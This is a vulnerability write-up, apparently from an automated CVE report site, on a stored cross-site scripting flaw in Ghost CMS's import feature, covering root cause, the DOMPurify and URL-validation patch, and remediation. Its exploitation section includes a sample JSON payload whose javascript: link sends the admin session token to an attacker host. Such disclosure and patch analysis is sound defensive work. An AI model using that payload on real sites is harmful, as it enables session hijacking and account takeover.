CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-70588

CVE-2026-70588: Stored Cross-Site Scripting via Universal Import in Ghost CMS

Amit Schendel
Amit Schendel
Senior Security Researcher

Aug 5, 2026·7 min read·30 visits

Executive Summary (TL;DR)

A stored Cross-Site Scripting (XSS) vulnerability in Ghost CMS (versions 5.26.0 to 6.54.0) allows administrative users to inject malicious scripts via the Universal Import feature, leading to administrative session hijacking when other users view the imported content.

CVE-2026-70588 is a stored Cross-Site Scripting (XSS) vulnerability in Ghost CMS versions 5.26.0 through 6.54.0. The vulnerability exists within the Universal Import feature of the Ghost Admin interface. When processing imported content from third-party platforms such as Revue, the importer fails to sanitize user-controlled HTML tags, rich-text structured JSON, or link fields before rendering them in the Ghost Admin panel and front-end template rendering contexts.

Vulnerability Overview

Ghost is an open-source, Node.js-based content management system. It exposes a web-based administration control panel called Ghost Admin. Within this administration boundary, high-privileged users have access to import and export utilities, which allow content migrations from legacy Ghost installations and third-party systems like the newsletter platform Revue.

The Universal Import mechanism represents a significant attack surface because it processes structured formats including JSON files and ZIP archives. This ingestion pipeline converts arbitrary external records into schema-conforming database records. During this parsing operation, the application must normalize heterogeneous attributes into internal models such as posts, members, and settings.

CVE-2026-70588 is a stored Cross-Site Scripting (XSS) vulnerability arising from a failure to sanitize input during this normalization process. Specifically, the import engine accepts unsanitized HTML elements and malformed URL protocols inside imported properties. This allows an attacker to inject execution vectors that persist in the database and subsequently execute when administrative users review the records.

Root Cause Analysis

The root cause of CVE-2026-70588 resides in two separate injection pathways in Ghost's content ingestion and rendering architecture. The first pathway involves the feature_image_caption property associated with posts. The system design relies on Handlebars templates, which escape standard HTML entities by default unless marked as a SafeString. To provide formatting flexibility for image captions, developer-defined properties are explicitly wrapped in a Handlebars SafeString class.

However, the backend framework instantiated these SafeString wrappers directly on raw, unvalidated string values retrieved from the database. The system assumed that the administrative ingestion boundaries had already sanitized the input. Because the Universal Import interface lacked validation controls, any HTML elements present in the imported archive were written directly to the database. Upon rendering in the preview modal (modal-post-history.js) or frontend templates (proxy.js), the raw payload executed in the victim's browser context.

The second injection pathway exists in the Revue-specific converter (json-to-html.js). This component parses structured JSON exports from the Revue newsletter platform and generates equivalent HTML tags. The parser mapped the input object's url property directly into standard HTML anchor tags (<a>) without validating the scheme or escaping attributes. This enabled both protocol-based execution (using schemes like javascript:) and HTML attribute breakout (using unescaped double quotes inside the URL attribute field).

Code-Level Analysis

The technical remediation was implemented in commit a8bea3a4ceec4c852b880f4885119453c3d8588e. The fix addresses the vulnerability by introducing two primary defense mechanisms: client and server-side DOM sanitization via DOMPurify and rigid protocol-level URI validation.

In the vulnerable version of the frontend admin controller, the feature_image_caption properties were parsed and rendered dynamically inside the modal-post-history.js file without validation. The patch resolves this by introducing DOMPurify to clean the caption and enforce a strict permit list of allowable tags:

import Component from '@glimmer/component';
import DOMPurify from 'dompurify'; // Added in patch
 
get selectedRevision() {
    const revision = this.revisionList[this.selectedRevisionIndex];
    // Enforce strict sanitization on the image caption
    revision.feature_image_caption = DOMPurify.sanitize(revision.feature_image_caption, {
        ALLOWED_TAGS: ['a', 'b', 'i', 'span'],
        ALLOWED_ATTR: ['href', 'style'],
        ALLOW_DATA_ATTR: false,
        ALLOW_ARIA_ATTR: false
    });
    return revision;
}

Additionally, the patch addresses the template rendering engine (proxy.js) to secure server-side execution. The backend engine instantiates DOMPurify using a virtual DOM environment provided by jsdom. This ensures that even if unsanitized data resides in the database, the server cleanses it prior to instantiating the Handlebars SafeString instance:

const createDOMPurify = require('dompurify');
const { JSDOM } = require('jsdom');
const DOMPurify = createDOMPurify(new JSDOM('').window);
 
(Array.isArray(data) ? data : [data]).forEach((resource) => {
    // feature_image_caption contains HTML, making it a SafeString
    if (resource.feature_image_caption) {
        // Sanitize the caption prior to declaring it a SafeString
        const sanitizedCaption = DOMPurify.sanitize(resource.feature_image_caption, {
            ALLOWED_TAGS: ['a', 'b', 'i', 'span'],
            ALLOWED_ATTR: ['href', 'style'],
            ALLOW_DATA_ATTR: false,
            ALLOW_ARIA_ATTR: false
        });
        resource.feature_image_caption = new SafeString(sanitizedCaption);
    }
});

Finally, the Revue parser in json-to-html.js was modified to validate the incoming url parameter. Instead of interpolating the raw string directly into the template, the system executes a validator function (getValidURL) that enforces protocol validation and rejects non-standard URI schemes:

const getValidURL = (url) => {
    const normalizedURL = typeof url === 'string' ? url.trim() : '';
    if (!normalizedURL) {
        return '';
    }
    try {
        const parsedURL = new URL(normalizedURL, 'https://example.com');
        if (parsedURL.protocol === 'http:' || parsedURL.protocol === 'https:') {
            return normalizedURL;
        }
    } catch {
        // Invalid URLs are omitted from imported links
    }
    return '';
};

Exploitation & Attack Methodology

To execute this attack, an offensive actor must first acquire administrative credentials or compromise an existing account with import privileges. Since the vulnerability is located behind the authentication wall, the threat actor operates from an authenticated perspective. The execution complexity is classified as high because the attacker must assemble a valid JSON schema or ZIP structure conforming to Ghost's parser.

An attacker begins by preparing an export file containing malicious payloads. For a Revue import exploit, the actor crafts a JSON object representing a post where the image caption or link entity contains an injection payload. The payload can be designed to steal the current session tokens or execute admin-level administrative commands:

{
  "item_type": "link",
  "url": "javascript:fetch('https://attacker.example.com/exfil?session=' + encodeURIComponent(localStorage.getItem('ghost-admin')))"
}

Once the archive is constructed, the attacker uploads it via the Ghost Admin settings portal. Because the parsing engine does not sanitize the input, the payload is successfully stored in the SQL database. When a target administrator reviews the imported content, the browser parses the unescaped script, allowing the attacker to hijack the active session.

Impact Assessment

The security impact of CVE-2026-70588 is substantial, despite its classification of Medium severity under CVSS v3.1. While the vulnerability requires high privileges (PR:H) to perform the initial import, the subsequent execution occurs within the context of any user who views the imported post revisions or templates.

If a victim with elevated administrator privileges accesses the infected post revisions, the malicious JavaScript executes with their active permissions. This allows the script to bypass multi-factor authentication (MFA) controls because it operates within an established, authenticated session. The script can perform actions on behalf of the administrator, such as modifying system settings, adding backdoor accounts, or exfiltrating sensitive subscriber lists.

Additionally, because the vulnerability also impacts the frontend template rendering (proxy.js), unauthenticated external visitors who view the published post might also trigger the script execution. This widens the impact from internal administrative session hijacking to public-facing watering-hole attacks.

Remediation & Patch Analysis

Remediation requires upgrading the Ghost application to version 6.54.1 or higher. The patch fully mitigates the reported attack vectors by applying client-side sanitization, server-side template cleaning, and rigorous schema validation on imports. Administrators should perform this upgrade using the command-line utility: ghost update.

For environments where an immediate upgrade is not feasible, temporary mitigation strategies must be applied. Administrators should restrict import privileges by limiting administrative access to trusted personnel. Additionally, implementing a robust Content Security Policy (CSP) header through the web server (such as Nginx or Cloudflare) will block the execution of inline scripts and unauthorized network connections.

An assessment of the patch indicates that the fix is comprehensive. By utilizing DOMPurify to sanitize HTML attributes and tags at both the API and render levels, and by validating URL protocols in the import processors, the developers have closed the known vectors. However, security teams should continuously audit any custom templates or third-party integrations that leverage Handlebars SafeString wrappers to ensure no similar bypasses exist in other modules.

Official Patches

GhostGitHub Security Advisory GHSA-2gx6-7gx2-wwcf

Fix Analysis (1)

Technical Appendix

CVSS Score
5.0/ 10
CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:N/I:H/A:L

Affected Systems

Ghost CMS

Affected Versions Detail

Product
Affected Versions
Fixed Version
Ghost
Ghost Foundation
>= 5.26.0, < 6.54.16.54.1
AttributeDetail
CWE IDCWE-79
Attack VectorNetwork
CVSS Severity5.0 (Medium)
Exploit StatusNone
KEV StatusNot Listed

MITRE ATT&CK Mapping

T1189Drive-by Compromise
Initial Access
T1185Browser Session Hijacking
Collection
CWE-79
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

The application does not neutralize or incorrectly neutralizes user-controlled input before it is placed in output that is used as a web page that is served to other users.

Vulnerability Timeline

Vulnerability officially disclosed and advisory published.
2026-08-04
Patched version v6.54.1 released.
2026-08-04

References & Sources

  • [1]GitHub Security Advisory GHSA-2gx6-7gx2-wwcf
  • [2]Fix Commit a8bea3a4
  • [3]Ghost Pull Request 29635
  • [4]Ghost Release Tag v6.54.1

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•about 4 hours ago•CVE-2026-93363
4.3

CVE-2026-93363: Improper Access Control in Payload CMS Storage Upload Route

Payload CMS contains a missing authorization vulnerability (CWE-862) in its client-side upload instructions endpoint and the `@payloadcms/storage-vercel-blob` storage adapter. Two distinct logic defects allow authenticated users lacking collection-level `create` or `update` permissions to generate signed upload tokens and upload arbitrary files directly to external cloud storage.

Alon Barad
Alon Barad
4 views•9 min read
•about 5 hours ago•CVE-2026-55098
6.5

CVE-2026-55098: Cross-Database Authorization Bypass via DuckDB Table-Valued I/O Functions in Basekick-Labs Arc

CVE-2026-55098 (GHSA-93cm-2v4m-c56c) is an authorization bypass and sensitive information disclosure vulnerability in Basekick-Labs Arc prior to version 26.06.2. The flaw stems from an incomplete remediation of CVE-2026-47735, which failed to restrict the full suite of DuckDB table-valued filesystem I/O functions and quoted-identifier invocations. Because Arc's query parser ignores function calls during table reference extraction, authenticated users with minimal or empty permissions can invoke functions like parquet_scan(), glob(), and read_blob() to read, enumerate, and extract telemetry data across all tenant databases residing within the shared local storage root.

Alon Barad
Alon Barad
4 views•10 min read
•about 6 hours ago•CVE-2026-113787
6.1

CVE-2026-113787: Stored Cross-Site Scripting via Unescaped Style Attributes in odf-kit

CVE-2026-113787 is a stored Cross-Site Scripting (XSS) and HTML injection vulnerability affecting the odf-kit npm package from version 0.6.0 prior to 0.14.2. The HTML conversion engines (odtToHtml and odsToHtml) interpolate document-controlled styling and image attributes directly into inline style and src attributes without escaping double-quote characters. A remote attacker can supply a crafted .odt or .ods document to break out of HTML attribute boundaries and execute arbitrary JavaScript in the context of any web application rendering the converted HTML.

Alon Barad
Alon Barad
4 views•11 min read
•about 20 hours ago•GHSA-M3QR-FVP4-78XJ
5.3

GHSA-m3qr-fvp4-78xj: Authentication Bypass and Log Disclosure in Basekick Labs Arc

GHSA-m3qr-fvp4-78xj is an authentication bypass and information disclosure vulnerability in Arc, an open-source, SQL-native time-series database developed by Basekick Labs and written in Go. Due to an improper route registration sequence within the Go Fiber HTTP server initialization pipeline, the application registered the /api/v1/logs endpoint prior to mounting the global authentication middleware. Because Fiber evaluates route handlers in strict declaration order and terminates request traversal when a handler returns without invoking c.Next(), unauthenticated remote callers can query the logs endpoint and retrieve up to 10,000 buffered operational log entries even when authentication is enabled.

Alon Barad
Alon Barad
8 views•8 min read
•about 21 hours ago•CVE-2026-62848
7.3

CVE-2026-62848: Local Arbitrary Code Execution via Unsafe Deserialization in Metalama Named Pipe IPC

CVE-2026-62848 (GHSA-h26j-4vp7-x9w2) is a high-severity unsafe deserialization vulnerability in Metalama, a Roslyn-based meta-programming and code generation framework for C#. The flaw resides in the inter-process communication (IPC) channel used by Metalama within Microsoft Visual Studio. Across versions 2023.0 through 2026.1.18, the framework utilized either Newtonsoft.Json with TypeNameHandling.All or MessagePack with TypelessObjectResolver over local Windows named pipes without enforcing a strict type allow-list. Because the named pipes use predictable identifiers, any local process running under the same Windows user session can connect to the endpoint and transmit crafted serialized payloads, resulting in arbitrary Common Language Runtime (CLR) type instantiation and code execution within the host Visual Studio process.

Alon Barad
Alon Barad
10 views•9 min read
•about 22 hours ago•GHSA-9PPR-WFW9-XVR2
5.3

GHSA-9ppr-wfw9-xvr2: DNS Cache TTL Manipulation Failure in Netfoil via Go Value-Copy Range Iteration

A logic flaw in github.com/tinfoil-factory/netfoil versions 0.3.0 through 0.6.0 prevents the DNS proxy from properly decrementing Time-To-Live (TTL) values on cached DNS responses and enforcing configured maximum TTL limits. Due to an idiomatic Go programming mistake where a range loop modifies value copies of slice elements rather than the underlying slice array, netfoil continually serves DNS answers with their original static TTLs. This condition causes downstream clients and resolvers to retain stale DNS records beyond their intended expiration window and bypasses local MaxTTL administrative policies.

Alon Barad
Alon Barad
8 views•10 min read